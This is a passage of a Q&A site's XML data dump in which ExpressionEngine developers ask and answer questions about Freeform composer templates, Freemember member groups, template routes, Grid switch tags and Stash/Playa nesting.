ordered, but I don't know how to do this??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping someone here can help me figure this out! Thanks in advance!!&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditDate="2014-05-12T17:15:54.833" LastActivityDate="2014-05-14T21:18:10.533" Title="Getting Brilliantretail and Freeform Pro to play nice" Tags="|solspace-freeform|solspace|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21867" PostTypeId="2" ParentId="21865" CreationDate="2014-05-12T14:25:58.483" Score="0" Body="&lt;p&gt;You'd need to run some custom software that integrated with a local mail server to do this - beyond the scope of even an EE add-on I'd say, because your mail server would need to know how to map the incoming email aliases to your site members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there's a third-party service that lets you create forwarding addresses programmatically via an API? That would be your best bet, if it exists - then you'd just need to store that anonymous email address as a custom member field for each member.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-12T14:25:58.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21868" PostTypeId="2" ParentId="21856" CreationDate="2014-05-12T14:29:43.590" Score="1" Body="&lt;p&gt;Nope, you can't do this, because when updating an entry only the &lt;em&gt;parent&lt;/em&gt; entry can be saved. You'd need to do something like have a link to open up a second Channel Form - say in a pop-up or overlay - which is for the &lt;em&gt;child&lt;/em&gt; entry, and then make your edits there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-12T14:29:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21869" PostTypeId="2" ParentId="21843" CreationDate="2014-05-12T14:45:12.540" Score="1" Body="&lt;p&gt;Freemember automatically unsets any posted &lt;code&gt;group_id&lt;/code&gt; value, as it's a security risk for permissions-based sites. But, you could do this with an extension hook in Freemember - specifically the &lt;a href=&quot;https://github.com/expressodev/freemember/blob/e38fe0766f11336d04d19a010ac8c5fbf6152491/system/expressionengine/third_party/freemember/models/freemember_model.php#L185&quot; rel=&quot;nofollow&quot;&gt;freemember_update_member_start&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So post the &lt;code&gt;group_id&lt;/code&gt; with a form name &lt;em&gt;other&lt;/em&gt; than &lt;code&gt;group_id&lt;/code&gt; (say, &lt;code&gt;new_group_id&lt;/code&gt;), then in your extension, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function freemember_update_member_start($member_id, $data)&#xA;{&#xA;    // Perform whatever checks you need to make sure that it's OK to change the member group for this update&#xA;    $data['group_id'] = ee()-&amp;gt;input-&amp;gt;post('new_group_id');&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-12T14:45:12.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21870" PostTypeId="1" CreationDate="2014-05-12T14:56:46.077" Score="0" ViewCount="662" Body="&lt;p&gt;I'm using Solspace Freeform with a composer to built forms and found that I can use inline errors and Ajax validation with Freeform &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#examples&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but documentation doesn't mention how to use it with a composer, only with form templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2021-04-19T17:49:02.380" Title="Solspace Freeform inline errors / Ajax validation and composer" Tags="|solspace-freeform|error|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21871" PostTypeId="1" AcceptedAnswerId="21995" CreationDate="2014-05-12T15:04:00.910" Score="1" ViewCount="107" Body="&lt;p&gt;Based on Solspace Freeform &lt;a href=&quot;http://www.solspace.com/docs/freeform/error_page&quot; rel=&quot;nofollow&quot;&gt;documnetation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Error Page function allows you to bypass the native EE error message template and create and customize your own. Simply create a new EE template and add in the applicable variables below, along with anything else you typically use in your templates (template tags, variables, or embeds). This function is available for all use in all form functions such as Freeform:Form, Freeform:Composer, etc. Make sure you specify the error_page=&quot;freeform/error_template&quot; parameter in the form you'd like to use this error template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but where I can define &lt;code&gt;error_page=&quot;freeform/error_template&quot;&lt;/code&gt; parameter when I'm on a composer editor? I have try to add it to the Composer Template as Template Params but still is using default EE errors message page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-05-12T15:53:56.500" LastActivityDate="2014-06-14T15:11:26.770" Title="Solspace Freeform Pro + composer and Error Page" Tags="|solspace-freeform|error-pages|composer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21872" PostTypeId="2" ParentId="21677" CreationDate="2014-05-12T15:28:23.993" Score="1" Body="&lt;p&gt;I'm not aware of any off the shelf ways to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to build a separate fieldtype which displays and updates sales related to a particular product. You could then add this to the product channels where you need it. However, I don't think there is anything like this which has been released yet.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-05-12T15:28:23.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21873" PostTypeId="1" AcceptedAnswerId="21874" CreationDate="2014-05-12T15:37:06.727" Score="0" ViewCount="146" Body="&lt;p&gt;Well, I'm getting 500 Internal Server Error when Composer Template used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Composer Template looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;.ff_composer * {&#xA;-webkit-box-sizing : border-box;&#xA;-moz-box-sizing : border-box;&#xA;box-sizing : border-box;&#xA;}&#xA;.ff_composer .line,&#xA;.ff_composer .line:last-child,&#xA;.ff_composer .last_unit{overflow:hidden;}&#xA;.ff_composer .unit{float:left; padding:10px;}&#xA;.ff_composer .unit_right{float:right;}&#xA;.ff_composer .size1of1{float:none;}&#xA;.ff_composer .size1of2{width:50%;}&#xA;.ff_composer .size1of3{width:33.33333%;}&#xA;.ff_composer .size2of3{width:66.66666%;}&#xA;.ff_composer .size1of4{width:25%;}&#xA;.ff_composer .size3of4{width:75%;}&#xA;.ff_composer .line:last-child,&#xA;.ff_composer .last_unit{float:none;width:auto;}&#xA;.ff_composer p,&#xA;.ff_composer h1,&#xA;.ff_composer h2,&#xA;.ff_composer h3,&#xA;.ff_composer h4,&#xA;.ff_composer h5,&#xA;.ff_composer h6 {margin-top: 0;}&#xA;.ff_composer .required_item {margin-left: 4px; color:red;}&#xA;.ff_composer textarea,&#xA;.ff_composer input[type=&quot;text&quot;],&#xA;.ff_composer input[type=&quot;email&quot;],&#xA;.ff_composer input[type=&quot;url&quot;],&#xA;.ff_composer input[type=&quot;number&quot;],&#xA;.ff_composer input[type=&quot;password&quot;],&#xA;.ff_composer input[type=&quot;search&quot;] {width: 75%;}&#xA;.ff_composer ul.dynamic_recipients {list-style: none; padding:0;}&#xA;.ff_composer .field_label {font-weight: bold;}&#xA;&amp;lt;/style&amp;gt;&#xA;{exp:freeform:composer&#xA;form_name=&quot;contact-us&quot;&#xA;composer_template_name=&quot;contact&quot;&#xA;return=&quot;contact_us/thank_you&quot;&#xA;}&#xA;&amp;lt;div class=&quot;ff_composer&quot;&amp;gt;&#xA;{composer:page}&#xA;{composer:rows}&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;{composer:columns}&#xA;&amp;lt;div class=&quot;unit size1of{composer:column_total}&quot;&amp;gt;&#xA;{if composer:field_total == 0}&#xA;&#xA;{/if}&#xA;{composer:fields}&#xA;{if composer:field_label}&#xA;{if composer:field_type == 'nonfield_captcha'}&#xA;{if freeform:captcha}&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;strong&amp;gt;{composer:field_label}&amp;lt;/strong&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{if:else}&#xA;&amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;{composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;&amp;lt;/label&amp;gt;&#xA;{/if}&#xA;{/if}&#xA;{if composer:field_output}&#xA;{if composer:field_type == 'nonfield_title'}&#xA;&amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;{if:elseif composer:field_type == 'nonfield_captcha'}&#xA;{if freeform:captcha}&#xA;{freeform:captcha}&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot;&#xA;size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;{/if}&#xA;{if:else}&#xA;&amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/if}&#xA;{/composer:fields}&#xA;&amp;lt;/div&amp;gt;&#xA;{/composer:columns}&#xA;&amp;lt;/div&amp;gt;&#xA;{/composer:rows}&#xA;{/composer:page}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code above is similar to code from documentation example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-05-14T18:14:22.487" Title="Solspace Freeform 500 Internal Sever Error when Composer Template used" Tags="|solspace-freeform|composer-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21874" PostTypeId="2" ParentId="21873" CreationDate="2014-05-12T15:47:58.007" Score="1" Body="&lt;p&gt;Example from their documentation is for a &quot;free&quot; Freefrom version or full form inclusion into EE template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case all Freeform parameters must be stored using Template Params instead of creating code in the Composer Template.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-05-14T18:14:22.487" LastActivityDate="2014-05-14T18:14:22.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21875" PostTypeId="1" CreationDate="2014-05-12T16:00:46.667" Score="0" ViewCount="83" Body="&lt;p&gt;I’m currently setting up shipping methods within an Expresso Store site. Shipping costs are based on total product costs (not weight). The breakdown is shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard&#xA;Up to $50  $4.95&#xA;$50-$100 is $7.95&#xA;$101-$250 is $8.95&#xA;$251-$500 is $9.95&#xA;$501-$1500 is $19.95&#xA;$1501-$2500 is $39.95&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd Day&#xA;Up to $100 is $12.95&#xA;$101-$250 is $15.95&#xA;$251-$500 is $17.95&#xA;$501-$1500 is $29.95&#xA;$1501-$2500 is $59.95&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next Day&#xA;Up to $100 is $34.95&#xA;$101-$250 is $39.95&#xA;$251-$500 is $44.95&#xA;$501-$1500 is $49.95&#xA;$1501-$2500 is $79.95&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve entered all these with no problem – they apply to all US states – but, shipping to western states must be $1.00 more for all of the above. There are 24 states that qualify as western. Since it doesn't seem possible to select multiple states from the dropdown in Filters, it means I’d have to enter each variation state by state. The would be 16 filters x 24 western states. Is there a way to do this without manually entering all 384 variations for the western states?&lt;/p&gt;&#xA;" OwnerUserId="2068" LastActivityDate="2016-05-18T23:24:59.680" Title="How can I apply shipping rules to multiple states in Expresso Store?" Tags="|expresso-store|expresso|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21877" PostTypeId="1" CreationDate="2014-05-12T16:31:29.117" Score="1" ViewCount="71" Body="&lt;p&gt;On a site I'm working on, I've got a lists of projects. These lists have two views: a thumbnail and a text-list view. On each page, there's a button to switch to the other view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make that selection persistent. So hit the button to change views, and all pages load that view (until you change the view again). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy/recommended way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: would be nice if it were compatible with some sort of template caching. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastEditorUserId="1717" LastEditDate="2014-05-12T16:47:20.583" LastActivityDate="2014-05-13T13:51:57.950" Title="Switching 'views' with a cookie" Tags="|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21878" PostTypeId="1" CreationDate="2014-05-12T16:37:45.090" Score="1" ViewCount="111" Body="&lt;p&gt;I'm displaying a list of facilities by state in a sidebar using the category_archive tags(template code below)...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Iowa&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Missouri&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;li&gt;facility&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;if I add a {count}, it resets for each group of facilities (1-3, then 1-3 again). I have map pointers for each location on a google map added with the Google Maps plugin. I'm trying to do some stuff with Javascript that needs to be able to relate the facility in the list with the corresponding map point. The Google Maps plugin puts each facility pointer in an array by the index number, but the numbers go in order, so I can't relate them to the facilities listed in the sidebar, because I can't figure out how to get a running count of all locations listed. Any ideas? and please let me know if I need to clarify something...&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2016-05-22T23:38:57.797" Title="need some kind of {count} within category archive tags that doesn't reset or each category" Tags="|categories|javascript|google-maps-for-ee|google-maps|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21879" PostTypeId="1" AcceptedAnswerId="21897" CreationDate="2014-05-12T16:48:29.940" Score="1" ViewCount="41" Body="&lt;p&gt;This almost works. its just on load it does not display correctly (all the tab options stack instead nesting) but once you start clicking the tabs they all work fine. (Please also note that when built in flat fashion all tabs work correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page looks like this:&#xA;niwot.colorado.edu/index.php/location/test_location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;ul class=&quot;pill tabs-content contained&quot;&amp;gt;&#xA;         {exp:playa:children field=&quot;3rd_order_under&quot; sort=&quot;asc&quot; var_prefix=&quot;thirdorder&quot;}&#xA;         &amp;lt;li {if count == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{thirdorder:url_title}Tab&quot;&amp;gt;&#xA;           &amp;lt;div class=&quot;row&quot;&amp;gt;                                     &#xA;             &amp;lt;div class=&quot;twelve columns&quot;&amp;gt; &#xA;               {thirdorder:summary_3rd_order}&amp;lt;br /&amp;gt;&#xA;&#xA;               {thirdorder:exp:playa:children field=&quot;4th_order_under_3rd_order&quot; sort=&quot;asc&quot; var_prefix=&quot;fourthorder&quot;}&#xA;                 {fourthorder:title}&#xA;               {/thirdorder:exp:playa:children}&#xA;&#xA;             &amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/li&amp;gt;&#xA;        {/exp:playa:children}  &#xA;        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for taking the time to look at my problem.            &lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-05-13T08:44:30.903" Title="Very close to working - var_prefix= tabbed and nested" Tags="|templates|playa|template-scripting|nesting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21880" PostTypeId="1" CreationDate="2014-05-12T17:17:39.110" Score="2" ViewCount="824" Body="&lt;p&gt;I've read all of the eecms documentation on Template Routes Manager to no avail. I don't see any simple tutorial on how to use template route manager to remove index.php or template_group name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy example of how to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This user guide is garbage: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read it three times and somehow know less about template routes manager than I did before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked this question multiple times before with crazy suggestions. Suggestions that aren't scalable or user friendly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any takers? Not looking to use anyone as a crutch... If there's an awesome article you've read on this, you can share that! Anything, as long as it makes sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well, I don't want to use Structure. It has caused many of my sites to crash over the past few years. &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2015-11-03T15:32:04.750" Title="Template Routes Manager remove index.php and template group?" Tags="|templates|url|template-manager|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21881" PostTypeId="2" ParentId="21880" CreationDate="2014-05-12T18:16:13.733" Score="5" Body="&lt;p&gt;You can not use Template Routes to remove index.php from your URLs. To remove index.php from you URLs you need to set up a redirect in an htaccess file, there are instructions &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting rid of the group name is where Template Routes comes in. Navigate to the Template Route Manager under &lt;em&gt;Design ‣ Templates ‣ Template Route Manager&lt;/em&gt;. Locate the &lt;strong&gt;Route&lt;/strong&gt; field for the Template you wish to change the URL for. In the &lt;strong&gt;Route&lt;/strong&gt; field put the new URL you wish to access your template by and then click Update. For the simplest case of a static URL you would use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/my-new-url&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now you should be able to access that template by going to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.yoursite.com/my-new-url&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/template-routes-in-expressionengine-2.8&quot;&gt;Here&lt;/a&gt; is a blog post I wrote that walks through a couple examples of more complex Template Routes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't mind me asking, what did you find confusing about the documentation? We're always looking to improve our documentation, so if you have any suggestions we definitely want to hear them.&lt;/p&gt;&#xA;" OwnerUserId="3096" LastActivityDate="2014-05-12T18:16:13.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21882" PostTypeId="1" CreationDate="2014-05-12T18:59:17.387" Score="1" ViewCount="148" Body="&lt;p&gt;I had a site (EE 1.6) that was on godaddy.  Something was changed in order to allow the pages to load with a ? in the url's.  ie: &lt;a href=&quot;http://domain.com/index.php?/site/fine_art/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/index.php?/site/fine_art/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to move the site to a new server, I have upgraded to 1.7.3 for now.  But I can't figure out how to change the system to not use index.php? in the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must have changed somethign somewhere but can't find it.  SO {path=&quot;site/fine_art&quot;} will result in &lt;a href=&quot;http://domain.com/index.php?/site/fine_art/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/index.php?/site/fine_art/&lt;/a&gt; as the link.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-01-08T00:15:33.637" Title="Strange hosting questions in regards to godaddy and index,php" Tags="|url|hosting|godaddy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21883" PostTypeId="2" ParentId="21882" CreationDate="2014-05-12T19:05:04.780" Score="1" Body="&lt;p&gt;Force URL query strings&#xA;This is a safety mechanism for servers that do not support the PATH_INFO variable. NO&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-05-12T19:05:04.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21884" PostTypeId="2" ParentId="21721" CreationDate="2014-05-12T19:06:58.783" Score="0" Body="&lt;p&gt;I won't directly answer the question since Derek has already done so though, I'll add a few links which may be similar to this question and useful to you &amp;amp; or others down the road:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johnhenry.ie/articles/entries-sorted-by-author-in-expressionengine-templates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Entries Sorted By Author in ExpressionEngine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/15074681/displaying-recent-authors-in-expression-engine&quot;&gt;Display Recent Authors in Expression Engine&lt;/a&gt; (note the comment by GDmac about &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16645/if-statement-inside-a-loop/16732#16732&quot;&gt;Stash&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-05-12T19:06:58.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21885" PostTypeId="1" AcceptedAnswerId="21966" CreationDate="2014-05-12T19:57:59.853" Score="1" ViewCount="226" Body="&lt;p&gt;Concept is to stash entry_ids of playa entries to pass to jquery-nivoslider call, so that both the slider div and the call will not have identical slider ID's resulting with conflict.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list &#xA;name=&quot;rehab_list&quot; &#xA;parse_tags=&quot;yes&quot; &#xA;trim=&quot;yes&quot; &#xA;parse_depth=&quot;4&quot;&#xA;}&#xA;&#xA;   {exp:channel:entries &#xA;   channel=&quot;rehab&quot; &#xA;   url_title=&quot;{segment_3}&quot; &#xA;   limit=&quot;1&quot;&#xA;   require_entry=&quot;yes&quot;&#xA;    }&#xA;&#xA;    {stash:rehab_entry_id}{entry_id}{/stash:rehab_entry_id}&#xA;    {stash:rehab_url_title}{url_title}{/stash:rehab_url_title}&#xA;    {stash:rehab_title}{title}{/stash:rehab_title}&#xA;&#xA;{stash:playa_stash_test}test{/stash:playa_stash_test}&#xA;&#xA;   {exp:stash:set_list:nested   &#xA;name=&quot;rehab_update_list&quot;      &#xA;trim=&quot;yes&quot;&#xA;parse_tags=&quot;yes&quot; &#xA;parse_depth=&quot;3&quot;   &#xA;} &#xA;&#xA;    {exp:playa:parents &#xA;    channel=&quot;rehab_update&quot; &#xA;&#xA;    limit=&quot;10&quot;}&#xA;&#xA;          {stash:playa_test}test22{/stash:playa_test}&#xA;               0{stash:playa_entry}|{entry_id}{/stash:playa_entry}&#xA;                {stash:playa_title|{title}{/stash:playa_title}&#xA;&#xA;                {image_uploads sort=&quot;asc&quot;}{photo_images size=&quot;thumbnail&quot;}     &#xA;                {stash:playa_entry_img}{photo:url}{/stash:playa_entry_img}&#xA;                {stash:playa_entry_img_label}photo_label}   {/stash:playa_entry_img_label}&#xA;        {/photo_images} {/image_uploads}&#xA;&#xA;   {stash:playa_summary_update}{summary_update}{/stash:playa_summary_update}&#xA;   {stash:playa_materials_needed}{materials_needed}{/stash:playa_materials_needed}&#xA;   {stash:playa_steps_taken}{steps_taken}{/stash:playa_steps_taken}&#xA;&#xA;    {/exp:playa:parents}&#xA;     {/exp:stash:set_list:nested}&#xA;  {/exp:channel:entries}&#xA;  {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2524" LastEditorUserId="2524" LastEditDate="2014-05-19T20:55:09.160" LastActivityDate="2014-05-19T22:30:42.130" Title="multiple sliders one page - Stash parse order and Playa" Tags="|playa|stash|jquery|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21886" PostTypeId="1" AcceptedAnswerId="21888" CreationDate="2014-05-12T21:08:17.107" Score="0" ViewCount="429" Body="&lt;p&gt;So far I was able to create rows with EE and a Grida data based on a solution from &lt;a href=&quot;http://bytesofpi.com/post/42026473860/creating-rows-with-expressionengine-and-a-grid&quot; rel=&quot;nofollow&quot;&gt;that&lt;/a&gt; article, but new template is not able to create rows (code below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;media&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}    &#xA;...&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {press_releases}&#xA;        &amp;lt;div class=&quot;col-md-2 col-sm-6&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{site_url}pdfs/press/{press_releases:pdf}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;                    &amp;lt;img src=&quot;{press_releases:cover}&quot; alt=&quot;{press_releases:title}&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;        {/press_releases}     &#xA;        &amp;lt;/div&amp;gt;        &#xA;....&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any clue what is missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-05-12T21:28:14.170" LastActivityDate="2014-05-12T22:12:38.863" Title="Creating rows with ExpressionEngine and a Grid using Switch" Tags="|grid|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21888" PostTypeId="2" ParentId="21886" CreationDate="2014-05-12T22:12:38.863" Score="3" Body="&lt;p&gt;If you're wanting the switch tag to apply to the grid rows, then you need to prefix it with your grid field name (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#switch&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{press_releases:switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-12T22:12:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21889" PostTypeId="2" ParentId="21632" CreationDate="2014-05-13T00:45:07.247" Score="3" Body="&lt;p&gt;Not sure if you want to use a plugin or not but you could strip out anything you don't want using Hacksaw: &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hacksaw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this might do it for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:eehive_hacksaw allow=&quot;&amp;lt;strong&amp;gt;&amp;lt;br /&amp;gt;&quot;}&#xA;      &amp;lt;strong&amp;gt;{facilities:title}&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;      {facilities:facility_street_address}&amp;lt;br /&amp;gt;&#xA;      {facilities:facility_city}, {facilities:facility_state} {facilities:facility_zip}&#xA;{/exp:eehive_hacksaw}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-05-13T00:45:07.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21890" PostTypeId="2" ParentId="21816" CreationDate="2014-05-13T05:29:51.050" Score="1" Body="&lt;p&gt;A blank page typically indicates a hidden error, likely a PHP error. Since you are using a tag inside quotes of a conditional, my guess is that the MC Country plugin is returning something that is causing a malformed conditional. My suggestion would be to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/ip_to_nation/#type-text&quot; rel=&quot;nofollow&quot;&gt;native IP to Nation tag&lt;/a&gt; using the parameter &lt;code&gt;type=&quot;text&quot;&lt;/code&gt; to get the country code.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-13T05:29:51.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
